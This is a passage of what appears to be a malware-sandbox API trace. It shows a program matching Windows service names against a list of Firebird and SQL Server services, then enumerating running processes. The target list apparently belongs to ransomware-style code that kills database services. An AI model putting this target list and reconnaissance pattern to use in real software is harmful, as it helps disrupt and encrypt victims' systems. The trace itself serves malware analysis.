[0264.188] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0264.188] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0264.188] lstrlenW (lpString="FontCache") returned 9 [0264.188] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0264.188] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0264.188] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0264.188] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0264.188] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0264.188] lstrlenW (lpString="gpsvc") returned 5 [0264.188] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0264.188] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0264.188] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0264.188] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0264.188] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0264.188] lstrlenW (lpString="iphlpsvc") returned 8 [0264.188] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0264.188] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0264.188] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0264.188] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0264.189] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0264.189] lstrlenW (lpString="KeyIso") returned 6 [0264.189] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0264.189] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0264.189] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0264.189] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0264.189] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0264.189] lstrlenW (lpString="LanmanServer") returned 12 [0264.189] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0264.189] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0264.189] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0264.189] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0264.189] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0264.189] lstrlenW (lpString="LanmanWorkstation") returned 17 [0264.189] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0264.189] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0264.189] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0264.189] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0264.189] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0264.189] lstrlenW (lpString="lfsvc") returned 5 [0264.189] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0264.189] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0264.189] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0264.189] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0264.189] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0264.189] lstrlenW (lpString="lmhosts") returned 7 [0264.189] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0264.189] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0264.189] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0264.190] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0264.190] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0264.259] lstrlenW (lpString="LSM") returned 3 [0264.259] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0264.259] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0264.259] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0264.259] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0264.259] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0264.259] lstrlenW (lpString="MpsSvc") returned 6 [0264.259] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0264.259] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0264.259] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0264.259] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0264.259] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0264.259] lstrlenW (lpString="NcbService") returned 10 [0264.260] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0264.260] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0264.260] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0264.260] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0264.260] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0264.260] lstrlenW (lpString="netprofm") returned 8 [0264.260] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0264.260] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0264.260] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0264.260] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0264.260] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0264.260] lstrlenW (lpString="NgcSvc") returned 6 [0264.260] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0264.260] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0264.260] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0264.260] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0264.260] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0264.260] lstrlenW (lpString="NlaSvc") returned 6 [0264.260] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0264.260] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0264.260] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0264.260] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0264.260] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0264.260] lstrlenW (lpString="nsi") returned 3 [0264.260] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0264.260] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0264.261] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0264.261] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0264.261] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0264.261] lstrlenW (lpString="PcaSvc") returned 6 [0264.261] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0264.261] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0264.261] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0264.261] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0264.261] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0264.261] lstrlenW (lpString="PlugPlay") returned 8 [0264.261] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0264.261] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0264.261] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0264.261] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0264.261] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0264.261] lstrlenW (lpString="Power") returned 5 [0264.261] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0264.261] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0264.261] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0264.261] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0264.261] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0264.261] lstrlenW (lpString="ProfSvc") returned 7 [0264.261] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0264.261] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0264.261] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0264.261] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0264.262] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0264.262] lstrlenW (lpString="RpcEptMapper") returned 12 [0264.262] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0264.262] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0264.262] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0264.262] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0264.262] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0264.262] lstrlenW (lpString="RpcSs") returned 5 [0264.262] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0264.262] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0264.262] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0264.262] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0264.262] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0264.262] lstrlenW (lpString="SamSs") returned 5 [0264.262] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0264.262] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0264.262] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0264.262] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0264.262] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0264.262] lstrlenW (lpString="Schedule") returned 8 [0264.262] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0264.262] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0264.262] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0264.262] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0264.262] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0264.263] lstrlenW (lpString="SecurityHealthService") returned 21 [0264.263] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0264.263] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0264.263] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0264.263] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0264.263] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0264.263] lstrlenW (lpString="SENS") returned 4 [0264.263] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0264.263] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0264.263] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0264.263] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0264.263] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0264.263] lstrlenW (lpString="ShellHWDetection") returned 16 [0264.263] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0264.263] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0264.263] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0264.263] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0264.263] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0264.263] lstrlenW (lpString="Spooler") returned 7 [0264.263] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0264.263] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0264.263] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0264.263] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0264.264] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0264.264] lstrlenW (lpString="StateRepository") returned 15 [0264.264] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0264.264] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0264.264] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0264.264] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0264.264] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0264.264] lstrlenW (lpString="SysMain") returned 7 [0264.264] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0264.264] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0264.264] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0264.264] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0264.264] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0264.264] lstrlenW (lpString="SystemEventsBroker") returned 18 [0264.264] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0264.264] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0264.264] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0264.264] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0264.264] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0264.264] lstrlenW (lpString="Themes") returned 6 [0264.264] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0264.264] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0264.264] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0264.264] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0264.265] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4606e00 | out: hHeap=0x640000) returned 1 [0264.265] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x4b0 [0264.269] Process32FirstW (in: hSnapshot=0x4b0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0264.270] Process32NextW (in: hSnapshot=0x4b0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0264.271] lstrlenW (lpString="System") returned 6 [0264.271] Process32NextW (in: hSnapshot=0x4b0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0264.272] lstrlenW (lpString="smss.exe") returned 8 [0264.272] Process32NextW (in: hSnapshot=0x4b0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0264.273] lstrlenW (lpString="csrss.exe") returned 9 [0264.273] Process32NextW (in: hSnapshot=0x4b0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0264.274] lstrlenW (lpString="wininit.exe") returned 11 [0264.274] Process32NextW (in: hSnapshot=0x4b0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0264.275] lstrlenW (lpString="csrss.exe") returned 9 [0264.275] Process32NextW (in: hSnapshot=0x4b0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0264.275] lstrlenW (lpString="winlogon.exe") returned 12 [0264.276] Process32NextW (in: hSnapshot=0x4b0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0264.276] lstrlenW (lpString="services.exe") returned 12 [0264.276] Process32NextW (in: hSnapshot=0x4b0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0264.277] lstrlenW (lpString="lsass.exe") returned 9 [0264.277] Process32NextW (in: hSnapshot=0x4b0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0264.278] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0264.278] Process32NextW (in: hSnapshot=0x4b0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0264.279] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0264.279] Process32NextW (in: hSnapshot=0x4b0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.279] lstrlenW (lpString="svchost.exe") returned 11 [0264.279] Process32NextW (in: hSnapshot=0x4b0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.280] lstrlenW (lpString="svchost.exe") returned 11 [0264.281] Process32NextW (in: hSnapshot=0x4b0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0264.281] lstrlenW (lpString="dwm.exe") returned 7 [0264.281] Process32NextW (in: hSnapshot=0x4b0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x35, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.282] lstrlenW (lpString="svchost.exe") returned 11 [0264.282] Process32NextW (in: hSnapshot=0x4b0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.283] lstrlenW (lpString="svchost.exe") returned 11 [0264.283] Process32NextW (in: hSnapshot=0x4b0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.284] lstrlenW (lpString="svchost.exe") returned 11 [0264.284] Process32NextW (in: hSnapshot=0x4b0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.284] lstrlenW (lpString="svchost.exe") returned 11 [0264.285] Process32NextW (in: hSnapshot=0x4b0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.285] lstrlenW (lpString="svchost.exe") returned 11 [0264.285] Process32NextW (in: hSnapshot=0x4b0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x424, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.286] lstrlenW (lpString="svchost.exe") returned 11 [0264.286] Process32NextW (in: hSnapshot=0x4b0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.287] lstrlenW (lpString="svchost.exe") returned 11 [0264.287] Process32NextW (in: hSnapshot=0x4b0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.288] lstrlenW (lpString="svchost.exe") returned 11 [0264.288] Process32NextW (in: hSnapshot=0x4b0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.288] lstrlenW (lpString="svchost.exe") returned 11 [0264.289] Process32NextW (in: hSnapshot=0x4b0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.289] lstrlenW (lpString="svchost.exe") returned 11 [0264.289] Process32NextW (in: hSnapshot=0x4b0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0264.290] lstrlenW (lpString="spoolsv.exe") returned 11 [0264.290] Process32NextW (in: hSnapshot=0x4b0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x61c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.291] lstrlenW (lpString="svchost.exe") returned 11 [0264.291] Process32NextW (in: hSnapshot=0x4b0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x518, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0264.291] lstrlenW (lpString="audiodg.exe") returned 11 [0264.292] Process32NextW (in: hSnapshot=0x4b0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0264.292] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0264.292] Process32NextW (in: hSnapshot=0x4b0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0264.293] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0264.293] Process32NextW (in: hSnapshot=0x4b0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0264.294] lstrlenW (lpString="Memory Compression") returned 18 [0264.294] Process32NextW (in: hSnapshot=0x4b0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.294] lstrlenW (lpString="svchost.exe") returned 11 [0264.295] Process32NextW (in: hSnapshot=0x4b0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, 